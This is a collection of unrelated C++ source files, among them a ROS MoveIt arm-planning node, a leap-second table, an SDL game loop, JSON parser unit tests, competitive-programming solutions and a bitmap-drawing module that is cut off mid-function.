fout << "Gresit" << '\n'; fout << '\n'; v.clear(); copie.clear(); sortat.clear(); } return 0; }
#include "cxxtest/TestSuite.h" #include "tinyxml/tinyxml.h" #include "neural_network/gpu/NeuralNetworkGpu.h" #include "utility/TextAccess.h" class NeuralNetworkGpuTestSuite : public CxxTest::TestSuite { public: void test_neural_network_can_be_loaded_from_text_access() { std::shared_ptr<TextAccess> textAccess = TextAccess::createFromString( "<neural_network input_node_group_id=\"0\" output_node_group_id=\"1\">\n" " <node_group_step_excitation id=\"0\" node_count=\"2\" excitation_threshold=\"0.5\" excitation_fatigue=\"0.1\" />\n" " <node_group_step_excitation id=\"1\" node_count=\"3\" excitation_threshold=\"0.5\" excitation_fatigue=\"0.1\" />\n" " <edge_group source_group_id=\"0\" target_group_id=\"1\" weights=\"0.16,-0.20;0.67,-0.9;-0.11,0.28\"/>\n" "</neural_network>\n" ); std::shared_ptr<NeuralNetworkGpu> neuralNetwork = NeuralNetworkGpu::load(textAccess); TS_ASSERT(neuralNetwork); } };
#include "MoveArmNode.h" // system includes #include <eigen_conversions/eigen_msg.h> #include <moveit/robot_model_loader/robot_model_loader.h> #include <smpl/angles.h> #include <spellbook/msg_utils/msg_utils.h> #include <spellbook/geometry_msgs/geometry_msgs.h> namespace rcta { MoveArmNode::MoveArmNode() : m_nh(), m_ph("~"), m_octomap_sub(), m_server_name("move_arm"), m_move_arm_server(), m_pose_goal_planner_id(), m_joint_goal_planner_id(), m_spinner(2), m_octomap() { m_octomap_sub = m_nh.subscribe<octomap_msgs::Octomap>( "octomap", 1, &MoveArmNode::octomapCallback, this); } bool MoveArmNode::init() { robot_model_loader::RobotModelLoader::Options ops; ops.load_kinematics_solvers_ = false; robot_model_loader::RobotModelLoader loader(ops); m_model_frame = loader.getModel()->getModelFrame(); ROS_INFO("Model Frame: %s", m_model_frame.c_str()); auto move_arm_callback = boost::bind(&MoveArmNode::moveArm, this, _1); m_move_arm_server.reset( new MoveArmActionServer(m_server_name, move_arm_callback, false)); m_move_group_client.reset(new MoveGroupActionClient("move_group", false)); /////////////////////////////////////// // Load Common Move Group Parameters // /////////////////////////////////////// // planner settings double allowed_planning_time; // goal settings std::string group_name; double pos_tolerance; double rot_tolerance_deg; double joint_tolerance_deg; std::string tip_link; std::string workspace_frame; geometry_msgs::Vector3 workspace_min; geometry_msgs::Vector3 workspace_max; m_ph.param("allowed_planning_time", allowed_planning_time, 10.0); if (!m_ph.getParam("pose_goal_planner_id", m_pose_goal_planner_id)) { ROS_ERROR("Failed to retrieve 'pose_goal_planner_id' from the param server"); return false; } if (!m_ph.getParam("joint_goal_planner_id", m_joint_goal_planner_id)) { ROS_ERROR("Failed to retrieve 'joint_goal_planner_id' from the param server"); return false; } if (!m_ph.getParam("group_name", group_name)) { ROS_ERROR("Failed to retrieve 'group_name' from the param server"); return false; } m_move_group.reset(new move_group_interface::MoveGroup(group_name)); m_ph.param("pos_tolerance", pos_tolerance, 0.05); m_ph.param("rot_tolerance", rot_tolerance_deg, 5.0); m_ph.param("joint_tolerance", joint_tolerance_deg, 5.0); if (!m_ph.getParam("tip_link", tip_link)) { ROS_ERROR("Failed to retrieve 'tip_link' from the param server"); return false; } if (!m_ph.getParam("workspace_frame", workspace_frame)) { ROS_ERROR("Failed to retrieve 'workspace_frame' from the param server"); return false; } if (!msg_utils::download_param(m_ph, "workspace_min", workspace_min) || !msg_utils::download_param(m_ph, "workspace_max", workspace_max)) { return false; } m_goal.request.allowed_planning_time = allowed_planning_time; m_goal.request.group_name = group_name; m_goal.request.max_acceleration_scaling_factor = 1.0; m_goal.request.max_velocity_scaling_factor = 1.0; m_goal.request.num_planning_attempts = 1; m_goal.request.path_constraints.joint_constraints.clear(); m_goal.request.path_constraints.name = ""; m_goal.request.path_constraints.orientation_constraints.clear(); m_goal.request.path_constraints.position_constraints.clear(); m_goal.request.path_constraints.visibility_constraints.clear(); m_goal.request.trajectory_constraints.constraints.clear(); m_goal.request.start_state.is_diff = true; m_tip_link = tip_link; m_pos_tolerance = pos_tolerance; m_rot_tolerance = sbpl::angles::to_radians(rot_tolerance_deg); m_joint_tolerance = sbpl::angles::to_radians(joint_tolerance_deg); m_goal.request.workspace_parameters.header.frame_id = workspace_frame; m_goal.request.workspace_parameters.min_corner = workspace_min; m_goal.request.workspace_parameters.max_corner = workspace_max; ROS_INFO("Allowed Planning Time: %0.3f", allowed_planning_time); ROS_INFO("Pose Goal Planner ID: %s", m_pose_goal_planner_id.c_str()); ROS_INFO("Joint Goal Planner ID: %s", m_joint_goal_planner_id.c_str()); ROS_INFO("Group Name: %s", group_name.c_str()); ROS_INFO("Position Tolerance (m): %0.3f", pos_tolerance); ROS_INFO("Rotation Tolerance (deg): %0.3f", rot_tolerance_deg); ROS_INFO("Joint Tolerance (deg): %0.3f", joint_tolerance_deg); ROS_INFO("Tip Link: %s", tip_link.c_str()); ROS_INFO("Workspace Frame: %s", workspace_frame.c_str()); ROS_INFO("Workspace Min: (%0.3f, %0.3f, %0.3f)", workspace_min.x, workspace_min.y, workspace_min.z); ROS_INFO("Workspace Max: (%0.3f, %0.3f, %0.3f)", workspace_max.x, workspace_max.y, workspace_max.z); return true; } int MoveArmNode::run() { ROS_INFO("Spinning..."); m_move_arm_server->start(); m_spinner.start(); ros::waitForShutdown(); ROS_INFO("Done spinning"); return 0; } void MoveArmNode::moveArm(const rcta::MoveArmGoal::ConstPtr& request) { bool success = false; trajectory_msgs::JointTrajectory result_traj; const bool execute = request->execute_path; if (request->type == rcta::MoveArmGoal::JointGoal) { m_goal.request.planner_id = m_joint_goal_planner_id; if (execute) { success = moveToGoalJoints(*request, result_traj); } else { success = planToGoalJoints(*request, result_traj); } } else if (request->type == rcta::MoveArmGoal::EndEffectorGoal) { m_goal.request.planner_id = m_pose_goal_planner_id; if (execute) { success = moveToGoalEE(*request, result_traj); } else { success = planToGoalEE(*request, result_traj); } } else if (request->type == rcta::MoveArmGoal::CartesianGoal) { if (execute) { success = moveToGoalCartesian(*request, result_traj); } else { success = planToGoalCartesian(*request, result_traj); } } else { ROS_ERROR("Unrecognized goal type"); rcta::MoveArmResult result; result.success = false; m_move_arm_server->setAborted(result, "Unrecognized goal type"); return; } if (!success) { rcta::MoveArmResult result; result.success = false; result.trajectory; m_move_arm_server->setAborted(result, "Failed to plan path"); return; } rcta::MoveArmResult result; result.success = true; result.trajectory = result_traj; m_move_arm_server->setSucceeded(result); } bool MoveArmNode::planToGoalEE( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(!goal.execute_path && goal.type == rcta::MoveArmGoal::EndEffectorGoal); ROS_INFO("Plan to goal pose"); moveit_msgs::PlanningOptions ops; fillPlanOnlyOptions(goal, ops); if (!sendMoveGroupPoseGoal(ops, goal)) { return false; } if (m_result.error_code.val != moveit_msgs::MoveItErrorCodes::SUCCESS) { return false; } else { // TODO: slerp trajectory return true; } } bool MoveArmNode::planToGoalJoints( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(!goal.execute_path && goal.type == rcta::MoveArmGoal::EndEffectorGoal); ROS_INFO("Plan to goal pose"); moveit_msgs::PlanningOptions ops; fillPlanOnlyOptions(goal, ops); if (!sendMoveGroupConfigGoal(ops, goal)) { return false; } if (m_result.error_code.val != moveit_msgs::MoveItErrorCodes::SUCCESS) { return false; } else { // TODO: slerp trajectory return true; } return false; } bool MoveArmNode::planToGoalCartesian( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(!goal.execute_path && goal.type == rcta::MoveArmGoal::CartesianGoal); ROS_INFO("Move Along Cartesian Path"); std::vector<geometry_msgs::Pose> waypoints; waypoints.push_back(m_move_group->getCurrentPose().pose); waypoints.push_back(goal.goal_pose); Eigen::Vector3d start_pos, finish_pos; tf::pointMsgToEigen(waypoints.front().position, start_pos); tf::pointMsgToEigen(waypoints.back().position, finish_pos); double eef_step = 0.1; ROS_INFO("Compute cartesian path at %0.3f meters", eef_step); double jump_thresh = 2.0; moveit_msgs::RobotTrajectory rtraj; double pct = m_move_group->computeCartesianPath( waypoints, eef_step, jump_thresh, rtraj, true, nullptr); return pct >= 1.0; } bool MoveArmNode::moveToGoalEE( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(goal.execute_path && goal.type == rcta::MoveArmGoal::EndEffectorGoal); ROS_INFO("Move to goal pose"); moveit_msgs::PlanningOptions ops; fillPlanAndExecuteOptions(goal, ops); if (!sendMoveGroupPoseGoal(ops, goal)) { return false; } if (m_result.error_code.val != moveit_msgs::MoveItErrorCodes::SUCCESS) { return false; } else { // TODO: slerp trajectory return true; } } bool MoveArmNode::moveToGoalJoints( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(goal.execute_path && goal.type == rcta::MoveArmGoal::JointGoal); ROS_INFO("Move to goal configuration"); moveit_msgs::PlanningOptions ops; fillPlanAndExecuteOptions(goal, ops); if (!sendMoveGroupConfigGoal(ops, goal)) { return false; } if (m_result.error_code.val != moveit_msgs::MoveItErrorCodes::SUCCESS) { return false; } else { // TODO: slerp trajectory return true; } } bool MoveArmNode::moveToGoalCartesian( const rcta::MoveArmGoal& goal, trajectory_msgs::JointTrajectory& traj) { assert(goal.execute_path && goal.type == rcta::MoveArmGoal::CartesianGoal); ROS_INFO("Move Along Cartesian Path"); std::vector<geometry_msgs::Pose> waypoints; waypoints.push_back(m_move_group->getCurrentPose().pose); waypoints.push_back(goal.goal_pose); Eigen::Vector3d start_pos, finish_pos; tf::pointMsgToEigen(waypoints.front().position, start_pos); tf::pointMsgToEigen(waypoints.back().position, finish_pos); double eef_step = 0.1; ROS_INFO("Compute cartesian path at %0.3f meters", eef_step); double jump_thresh = 2.0; moveit_msgs::RobotTrajectory rtraj; double pct = m_move_group->computeCartesianPath( waypoints, eef_step, jump_thresh, rtraj, true, nullptr); if (pct >= 1.00) { ROS_INFO("Execute Cartesian Path"); move_group_interface::MoveGroup::Plan plan; plan.trajectory_ = rtraj; auto err = m_move_group->execute(plan); return err == moveit_msgs::MoveItErrorCodes::SUCCESS; } return false; } void MoveArmNode::fillPlanOnlyOptions( const rcta::MoveArmGoal& goal, moveit_msgs::PlanningOptions& ops) const { fillCommonOptions(goal, ops); ops.plan_only = true; } void MoveArmNode::fillPlanAndExecuteOptions( const rcta::MoveArmGoal& goal, moveit_msgs::PlanningOptions& ops) const { fillCommonOptions(goal, ops); ops.plan_only = false; } void MoveArmNode::fillCommonOptions( const rcta::MoveArmGoal& goal, moveit_msgs::PlanningOptions& ops) const { ops.planning_scene_diff.robot_state.is_diff = true; if (!goal.planning_options.planning_scene_diff.world.octomap.octomap.data.empty()) { ops.planning_scene_diff.world.octomap = goal.planning_options.planning_scene_diff.world.octomap; } else if (m_octomap) { ops.planning_scene_diff.world.octomap.header = m_octomap->header; ops.planning_scene_diff.world.octomap.origin.orientation.w = 1.0; ops.planning_scene_diff.world.octomap.octomap = *m_octomap; } else { ROS_WARN("Planning without an octomap"); } ops.planning_scene_diff.world.collision_objects = goal.planning_options.planning_scene_diff.world.collision_objects; ops.planning_scene_diff.world.collision_objects.push_back(createGroundPlaneObject()); ops.planning_scene_diff.is_diff = true; ops.look_around = false; ops.look_around_attempts = 0; ops.max_safe_execution_cost = 1.0; ops.replan = false; ops.replan_attempts = 0; ops.replan_delay = 0.0; } /// \brief Send a move group request with goal pose constraints /// /// The actual result of the request (whether the planning/execution completed /// successfully) should be checked by examining the value of \p m_result. /// /// \return true if the goal was sent to the server; false otherwise bool MoveArmNode::sendMoveGroupPoseGoal( const moveit_msgs::PlanningOptions& ops, const rcta::MoveArmGoal& goal) { if (!m_move_group_client->isServerConnected()) { ROS_ERROR("Server is not connected"); return false; } geometry_msgs::PoseStamped tip_goal; // TODO: get this from the configured planning frame in moveit tip_goal.header.frame_id = "map"; tip_goal.pose = goal.goal_pose; moveit_msgs::MotionPlanRequest& req = m_goal.request; req.start_state = goal.start_state; req.goal_constraints.clear(); // one set of goal constraints moveit_msgs::Constraints goal_constraints; goal_constraints.name = "goal_constraints"; // one position constraint moveit_msgs::PositionConstraint goal_pos_constraint; goal_pos_constraint.header.frame_id = tip_goal.header.frame_id; goal_pos_constraint.link_name = m_tip_link; goal_pos_constraint.target_point_offset = geometry_msgs::CreateVector3(0.0, 0.0, 0.0); shape_msgs::SolidPrimitive tolerance_volume; tolerance_volume.type = shape_msgs::SolidPrimitive::SPHERE; tolerance_volume.dimensions = { m_pos_tolerance }; goal_pos_constraint.constraint_region.primitives.push_back(tolerance_volume); goal_pos_constraint.constraint_region.primitive_poses.push_back(tip_goal.pose); goal_pos_constraint.weight = 1.0; // one orientation constraint moveit_msgs::OrientationConstraint goal_rot_constraint; goal_rot_constraint.header.frame_id = tip_goal.header.frame_id; goal_rot_constraint.orientation = tip_goal.pose.orientation; goal_rot_constraint.link_name = m_tip_link; goal_rot_constraint.absolute_x_axis_tolerance = m_rot_tolerance; goal_rot_constraint.absolute_y_axis_tolerance = m_rot_tolerance; goal_rot_constraint.absolute_z_axis_tolerance = m_rot_tolerance; goal_rot_constraint.weight = 1.0; goal_constraints.position_constraints.push_back(goal_pos_constraint); goal_constraints.orientation_constraints.push_back(goal_rot_constraint); req.goal_constraints.push_back(goal_constraints); m_goal.planning_options = ops; auto result_callback = boost::bind( &MoveArmNode::moveGroupResultCallback, this, _1, _2); m_move_group_client->sendGoal(m_goal, result_callback); if (!m_move_group_client->waitForResult()) { return false; } return true; } bool MoveArmNode::sendMoveGroupConfigGoal( const moveit_msgs::PlanningOptions& ops, const rcta::MoveArmGoal& goal) { if (!m_move_group_client->isServerConnected()) { ROS_ERROR("Server is not connected"); return false; } moveit_msgs::MotionPlanRequest& req = m_goal.request; req.start_state = goal.start_state; req.goal_constraints.clear(); moveit_msgs::Constraints goal_constraints; goal_constraints.name = "goal_constraints"; for (size_t jidx = 0; jidx < goal.goal_joint_state.name.size(); ++jidx) { const std::string& joint_name = goal.goal_joint_state.name[jidx]; double joint_pos = goal.goal_joint_state.position[jidx]; moveit_msgs::JointConstraint joint_constraint; joint_constraint.joint_name = joint_name; joint_constraint.position = joint_pos; joint_constraint.tolerance_above = m_joint_tolerance; joint_constraint.tolerance_below = m_joint_tolerance; joint_constraint.weight = 1.0; goal_constraints.joint_constraints.push_back(joint_constraint); } req.goal_constraints.push_back(goal_constraints); m_goal.planning_options = ops; auto result_callback = boost::bind( &MoveArmNode::moveGroupResultCallback, this, _1, _2); m_move_group_client->sendGoal(m_goal, result_callback); if (!m_move_group_client->waitForResult()) { return false; } return true; } void MoveArmNode::moveGroupResultCallback( const actionlib::SimpleClientGoalState& state, const moveit_msgs::MoveGroupResult::ConstPtr& result) { if (result) { ROS_INFO("receive result from move_group"); m_result = *result; } } void MoveArmNode::octomapCallback(const octomap_msgs::Octomap::ConstPtr& msg) { m_octomap = msg; } moveit_msgs::CollisionObject MoveArmNode::createGroundPlaneObject() const { moveit_msgs::CollisionObject gpo; gpo.header.frame_id = m_model_frame; shape_msgs::Plane ground_plane; ground_plane.coef[0] = 0.0; ground_plane.coef[1] = 0.0; ground_plane.coef[2] = 1.0; // TODO: derive this from the resolution set in the world collision model // to be -0.5 * res, which should make one layer of voxels immediately // beneath z = 0 ground_plane.coef[3] = 0.075; gpo.planes.push_back(ground_plane); gpo.plane_poses.push_back(geometry_msgs::IdentityPose()); gpo.operation = moveit_msgs::CollisionObject::ADD; return gpo; } } //namespace rcta
// This function is declared in Astrometry.h but I have separated // its definition into this file because the list will have to be // maintained as new leap seconds occur. // Data for calculation of leap seconds and TT-UTC. // These tabular data were obtained from // ftp://maia.usno.navy.mil/ser7/tai-utc.dat // Add leap seconds at TOP of table as they occur. #ifndef LEAPSECOND_H #define LEAPSECOND_H #include <vector> #include "AstronomicalConstants.h" namespace astrometry { double UT::TAIminusUTC(double jd_) { static std::vector<double> leapJD; static std::vector<double> dT; static bool initialized=false; if (!initialized) { leapJD.push_back(2457754.5); dT.push_back(37.0); //Jan 1 2017 leapJD.push_back(2457204.5); dT.push_back(36.0); //Jun 30 2015 leapJD.push_back(2456109.5); dT.push_back(35.0); //Jun 30 2012 leapJD.push_back(2454832.5); dT.push_back(34.0); //Jan 1 2009 leapJD.push_back(2453736.5); dT.push_back(33.0); //Jan 1 2006 leapJD.push_back(2451179.5); dT.push_back(32.0); //Jan 1 1999 leapJD.push_back(2450630.5); dT.push_back(31.0); leapJD.push_back(2450083.5); dT.push_back(30.0); leapJD.push_back(2449534.5); dT.push_back(29.0); leapJD.push_back(2449169.5); dT.push_back(28.0); leapJD.push_back(2448804.5); dT.push_back(27.0); leapJD.push_back(2448257.5); dT.push_back(26.0); leapJD.push_back(2447892.5); dT.push_back(25.0); leapJD.push_back(2447161.5); dT.push_back(24.0); leapJD.push_back(2446247.5); dT.push_back(23.0); leapJD.push_back(2445516.5); dT.push_back(22.0); leapJD.push_back(2445151.5); dT.push_back(21.0); leapJD.push_back(2444786.5); dT.push_back(20.0); leapJD.push_back(2444239.5); dT.push_back(19.0); leapJD.push_back(2443874.5); dT.push_back(18.0); leapJD.push_back(2443509.5); dT.push_back(17.0); leapJD.push_back(2443144.5); dT.push_back(16.0); leapJD.push_back(2442778.5); dT.push_back(15.0); leapJD.push_back(2442413.5); dT.push_back(14.0); leapJD.push_back(2442048.5); dT.push_back(13.0); leapJD.push_back(2441683.5); dT.push_back(12.0); leapJD.push_back(2441499.5); dT.push_back(11.0); leapJD.push_back(2441317.5); dT.push_back(10.0); //Jan 1 1972 initialized = true; } for (int i=0; i<leapJD.size(); i++) if (jd_>=leapJD[i]) return dT[i]*TIMESEC; return dT.back()*TIMESEC; // Note conversion to AstronomicalConstants.h units with TIMESEC'S } } //namespace astrometry #endif
#include "Desktop.h" #include "Tests/Test.cpp" #include "Figure.h" #include "livingFigure.h" #include <unistd.h> #include "movement.h" #include <vector> #include <string> #include "util.h" #include "map.h" #include <thread> #include <mutex> #include <queue> std::mutex eventMutex; typedef std::string string; bool debug = false; bool quit = false; int inputLoop(std::queue<SDL_Event*>* inputQueue, std::mutex* eventMutex){ SDL_Event event; std::queue<SDL_Event*> wait; while(1){ while(SDL_WaitEvent(&event)){ SDL_Event* copy = new SDL_Event(event); if(eventMutex->try_lock()){ //SUCCESS while(wait.size() > 0){ inputQueue->push(wait.front()); wait.pop(); } inputQueue->push(copy); eventMutex->unlock(); }else{ wait.push(copy); } } } } int main(int argc, char **argv) { /* for(unsigned int i = 0; i < 100000000; i++){ printf("Taste %s gerückt\n", SDL_GetKeyName(i)); } */ if(argc > 1){ string s(argv[1]); string edit = "edit"; if(s.compare("edit")==0){ SDL_Delay(1000); Desktop* desktop = new Desktop(800,600,"edit"); Map* map = new Map(true); Point p; p.x = 0; p.y = 0; LivingFigure mouse("mouse",p); desktop->addMouse(&mouse); desktop->changeMap(map); /////////////////////// Timing float timeStepMs = 1000.0f / 100.0f; float timeCurrentMs; float timeDeltaMs; float timeAccumulatedMs; float timeLastMs; //////////////////////// std::queue<SDL_Event*> inputQueue; std::thread inputThread(inputLoop,&inputQueue, &eventMutex); while (!quit) { timeLastMs = timeCurrentMs; desktop->render(); quit = desktop->eventHandler(&eventMutex, &inputQueue); timeCurrentMs = SDL_GetTicks(); if((timeCurrentMs - timeLastMs) < timeStepMs){ SDL_Delay(timeStepMs - (timeCurrentMs - timeLastMs)); //add sleep 10ms? } desktop->swap(); desktop->clearBuffer(); } return 0; } } if (!debug) { Movement* movementHandler = new Movement(); Map* map = new Map(false); movementHandler->changeMap(map); Desktop* desktop = new Desktop(800,600,"game", movementHandler); //SDL_Delay(1000); ////////////////////// Collision Data ////////////////////// Player Point p; p.x = 300; p.y = 0; LivingFigure player("example",p); movementHandler->addPlayer(&player); p.x = 300; p.y = 200; //Figure something("example",p,true, true,0); p.x = 100; p.y = 300; //Figure ladder("example", p, true, true,0); p.x = 400; p.y = 200; //Figure deadly("example",p, true, true,0); //map->addDeadlyFigure(&deadly); //map->addCollisionFigure(&something); //map->addLadder(&ladder); //map->addRenderFigure(&deadly); //map->addRenderFigure(&something); //map->addRenderFigure(&ladder); /////////////////////// /////////////////////// Timing float timeStepMs = 20; float timeCurrentMs; float timeLastMs; //////////////////////// desktop->changeMap(map); //map->spawnPlayer(true); std::queue<SDL_Event*> inputQueue; std::thread inputThread(inputLoop,&inputQueue,&eventMutex); while (!quit) { timeLastMs = timeCurrentMs; desktop->render(); quit = desktop->eventHandler(&eventMutex, &inputQueue); timeCurrentMs = SDL_GetTicks(); if((timeCurrentMs - timeLastMs) < timeStepMs){ SDL_Delay(timeStepMs - (timeCurrentMs - timeLastMs)); //add sleep 10ms? } desktop->swap(); desktop->clearBuffer(); } }else{ Test* t = new Test(); } return 0; }
/* ** EPITECH PROJECT, 2019 ** OOP_indie_studio_2018 ** File description: ** Assets */ #include "Assets.hpp" #include "FileNotFoundException.hpp" #include <sys/stat.h> #include <vector> #include <string> Assets::Assets() { } Assets::~Assets() { } void Assets::checkFiles(void) const { struct stat buffer; for (std::string name : this->_filesPath) { if (stat(name.c_str(), &buffer) < 0) throw FileNotFoundException(name); } } std::string Assets::getFile(FILES file) const { return (this->_filesPath[(int)file]); }
//--------------------------------------------------------- // // Project: dada // Module: gl // File: VAO.h // Author: Viacheslav Pryshchepa // // Description: // //--------------------------------------------------------- #pragma once #include "dada/core/Object.h" namespace dada { class VAO : public Object { public: DADA_OBJECT(VAO, Object) typedef unsigned int id_t; public: VAO(); ~VAO(); bool isInited() const; id_t getID() const; bool bind(); private: id_t m_id; }; inline bool VAO::isInited() const { return m_id != 0; } inline VAO::id_t VAO::getID() const { return m_id; } } // dada
#include<iostream> using namespace std; typedef long long int ll; ll ucln (ll a, ll b){ if(a==0&&b==0) return 0; ll r; while(b!=0){ r=a%b;a=b;b=r; } return a; } void xuly (double n){ ll k=1; while(n!=(ll)n){ n*=10;k*=10; } ll a=n,b=k; k=ucln(a,b); a/=k;b/=k; if(a%b==0) cout<<a/b; else cout<<a<<"/"<<b; } int main(){ double n; cin>>n; xuly(n); return 0; }
/*first find what will be the max sum for k = 1 ,2 ,3. if k > 3 if total is greater than 0 we are just adding total to ans of k = 3 for each addition of array*/ #include <bits/stdc++.h> int t; long long n,k,a[100000],total,temp,first,second,third,current,previous; using namespace std; long long maxSubArray(){ for(int i = 0; i < n; i++){ current += a[i]; if(current >= previous ){ previous = current; } if(current < 0) current = 0; } return previous; } int main(){ cin>>t; for(int i = 0 ; i < t; i++){ cin>>n>>k; total = 0; for(int j = 0; j < n; j++){ cin>>a[j]; total += a[j]; } previous = INT_MIN; current = 0; first = maxSubArray(); second = maxSubArray(); third = maxSubArray(); //cout<<first<<"f "<<second<<"s "<<third<<"third "<<total<<endl; if(k == 1) cout<<first<<endl; else if(k == 2) cout<<max(first,second)<<endl; else if(k == 3 || total <= 0){ temp = max(first,second); temp = max(temp,third); cout<<temp<<endl; } else{ temp = max(first , (third+(k - 3) * total)); cout<<temp<<endl; } } }
#include <bits/stdc++.h> using namespace std; #define MOD 1000000007 #define rep(i, n) for(int i = 0; i < (int)(n); i++) #define rep1(i, n) for(int i = 1; i <= (int)(n); i++) #define showmap(is, js, x) {rep(i, is){rep(j, js){cout << x[i][j] << " ";}cout << endl;}} #define show(x) {for(auto i: x){cout << i << " ";} cout<<endl;} #define showm(m) {for(auto i: m){cout << m.x << " ";} cout<<endl;} typedef long long ll; typedef pair<int, int> P; typedef pair<ll, ll> llP; ll gcd(int x, int y){ return y?gcd(y, x%y):x;} ll lcm(ll x, ll y){ return (x*y)/gcd(x,y);} const int n_max = 55; vector<vector<int>> troot(n_max); //v:現在の位置,rootall:v-goal間のすべての経路を格納, root/set 現在までの経路を格納 void dfs(int v, int goal,vector<vector<int>> &rootall, vector<int> root, set<int> sset, int sum){ root.push_back(v); sset.insert(v); if (v == goal){ rootall.push_back(root); } for(auto next: troot[v]){ if (sset.find(next) == sset.end()){ dfs(next, goal, rootall, root, sset, sum); } } return; } int main() { int n, m; ll s; cin >> n >> m >> s; vector<P> root(m); vector<llP> cost(m); vector<P> change_cost(n); rep(i, m){ cin >> root[i].first >> root[i].second >> cost[i].first >> cost[i].second; } rep(i, n){ cin >> change_cost[i].first >> change_cost[i].second; } rep(i, m){ troot[root[i].first-1].push_back(root[i].second-1); troot[root[i].second-1].push_back(root[i].first-1); } for (int goal = 1; goal < n; goal++) { vector<vector<int>> rall; vector<int> vkari; set<int> skari; dfs(0, goal, rall, vkari, skari); cout << goal << ":"<<endl; ll ans = (ll)MOD*50; for (auto r: rall) { for(auto x: r){ } } } }
#include "gtest/gtest.h" extern "C" { #include "iterator.h" } void *memdup(const void *src, size_t n) { void *dest = malloc(n); memcpy(dest, src, n); return dest; } TEST(json_nextTest, not_skipping_space) { json_parser *parser; unsigned char *test_string = (unsigned char *) "\"Hello World \""; size_t ts_len = strlen((char *)test_string); parser = (json_parser *) calloc(1, sizeof(json_parser)); parser->buffer = (unsigned char *) memdup(test_string, ts_len + 1); parser->buffer_sz = ts_len + 1; parser->skip_space = false; for (; *test_string; test_string++) { ASSERT_EQ(*test_string, json_next(parser)); } // successive calls should return null code point ASSERT_EQ('\0', json_next(parser)); ASSERT_EQ('\0', json_next(parser)); free(parser->buffer); free(parser); } TEST(json_nextTest, skipping_space) { json_parser *parser; unsigned char *test_string = (unsigned char *) "\"Hello World \""; unsigned char *exp_string = (unsigned char *) "\"HelloWorld\""; size_t ts_len = strlen((char *)test_string); parser = (json_parser *) calloc(1, sizeof(json_parser)); parser->buffer = (unsigned char *) memdup(test_string, ts_len + 1); parser->buffer_sz = ts_len + 1; parser->skip_space = true; for (; *exp_string; exp_string++) { ASSERT_EQ(*exp_string, json_next(parser)); } ASSERT_EQ('\0', json_next(parser)); ASSERT_EQ('\0', json_next(parser)); free(parser->buffer); free(parser); } TEST(is_string_matched, basic) { json_parser *parser; unsigned char *test_string = (unsigned char *) "nulltruefalse"; size_t ts_len = strlen((char *) test_string); parser = (json_parser *) calloc(1, sizeof(json_parser)); parser->buffer = (unsigned char *) memdup(test_string, ts_len + 1); parser->buffer_sz = ts_len + 1; ASSERT_EQ(true, is_string_matched(parser, (unsigned char *) "null")); ASSERT_EQ(true, is_string_matched(parser, (unsigned char *) "true")); ASSERT_EQ(false, is_string_matched(parser, (unsigned char *) "false!")); free(parser->buffer); free(parser); }
#include <iostream> #include <fstream> #include <cmath> #include "bmp.h" // Proste operacje na bitmapach. // Funkcja run() wywoluje szereg testow, a kazdy z nich // generuje osobny plik BMP. //************************************************************ // Typ zmiennoprzecinkowy uzywany przy obliczeniach. // Niewykluczona zmiana na double w przyszlosci. typedef float fp_t; // Zwraca kwadrat x. fp_t squared(fp_t x){ return x*x; } // Konwersja stopni na radiany. fp_t deg2Rad(fp_t degrees){ return degrees * M_PI / 180.0; } // Funkcja znaku. bool sign(int x){ return x ? (x > 0 ? 1 : -1) : 0; } // Sprawdzenie, czy czesc wycinka/luku ograniczonego // katami alfa1, alfa2 lezy w danej cwiartce. bool isInFirstQuarter(fp_t alfa1, fp_t){ return alfa1 < 90.0f; } bool isInSecondQuarter(fp_t alfa1, fp_t alfa2){ return alfa1 < 180.0f && (alfa1 >= 90.0f || alfa2 >= 90.0f); } bool isInThirdQuarter(fp_t alfa1, fp_t alfa2){ return alfa1 < 270.0f && (alfa1 >= 180.0f || alfa2 >= 180.0f); } bool isInFourthQuarter(fp_t, fp_t alfa2){ return alfa2 >= 270.0f; } // Sprawdza, czy x nalezy do przedzialu [min, max]. // Wlasnosc: dla dowolnego a,x: in(a, x, a) -> false template<typename T, typename U> bool in(T min, U x, T max){ return min <= x && x < max; } // Ogranicza wartosc x do wartosci z przedzialu [min, max]. template<typename T, typename U> void limitTo(T min, U &x, T max){ if(x < min) x = min; else if(x > max) x = max; } //************************************************************ // Reprezentacja punktu na bitmapie. struct Point{ Point(int x, int y) : x(x), y(y) {} int x = {0}, y = {0}; static fp_t distance(const Point &a, const Point &b){ return sqrt( squared((int)a.x - b.x) + squared((int)a.y - b.y) ); } }; // Reprezentacja koloru RGB. struct Colour{ Colour(unsigned char r, unsigned char g, unsigned char b) : r(r), g(g), b(b) {} unsigned char r = {0}, g = {0}, b = {0}; }; class DrawingException : public std::exception {}; //************************************************************ // Oblicz wsp. x punktu (x, y) lezacego na odcinku AB. int linearInterpolation(Point A, Point B, int y); void safeDrawPoint(JiMP2::BMP &bitmap, Point P, Colour clr); void drawLine(JiMP2::BMP &bitmap, Point A, Point B, Colour clr); void drawCircle(JiMP2::BMP &bitmap, Point S, uint16_t r, Colour clr); void drawDisk(JiMP2::BMP &bitmap, Point S, uint16_t r, Colour clr); void drawArc(JiMP2::BMP &bitmap, Point S, uint16_t r, fp_t alfa1, fp_t alfa2, Colour clr); void drawCircularSector(JiMP2::BMP &bitmap, Point S, uint16_t r, fp_t alfa1, fp_t alfa2, Colour clr); void drawEllipse(JiMP2::BMP &bitmap, Point S, uint16_t a, uint16_t b, Colour clr); void drawRectangle(JiMP2::BMP &bitmap, Point A, Point B, Colour clr); void drawRegularPolygon(JiMP2::BMP &bitmap, Point S, int n, fp_t side_length, Colour clr); //************************************************************ void lineTest(); void circleDiskTest(); void arcSectorTest(); void ellipseTest(); void polygonTest(); const uint16_t imgWidth = 800; const uint16_t imgHeight = 600; void run(){ lineTest(); circleDiskTest(); arcSectorTest(); ellipseTest(); polygonTest(); } //************************************************************ int linearInterpolation(Point A, Point B, int y){ //if(A.x != B.x) if(A.y != B.y) return B.x + (y-B.y)*(A.x-B.x)/(A.y-B.y); else return B.x; } //************************************************************ // Rysowanie punktu, z pominieciem sytuacji, gdy punkt lezy poza bitmapa. void safeDrawPoint(JiMP2::BMP &bitmap, Point 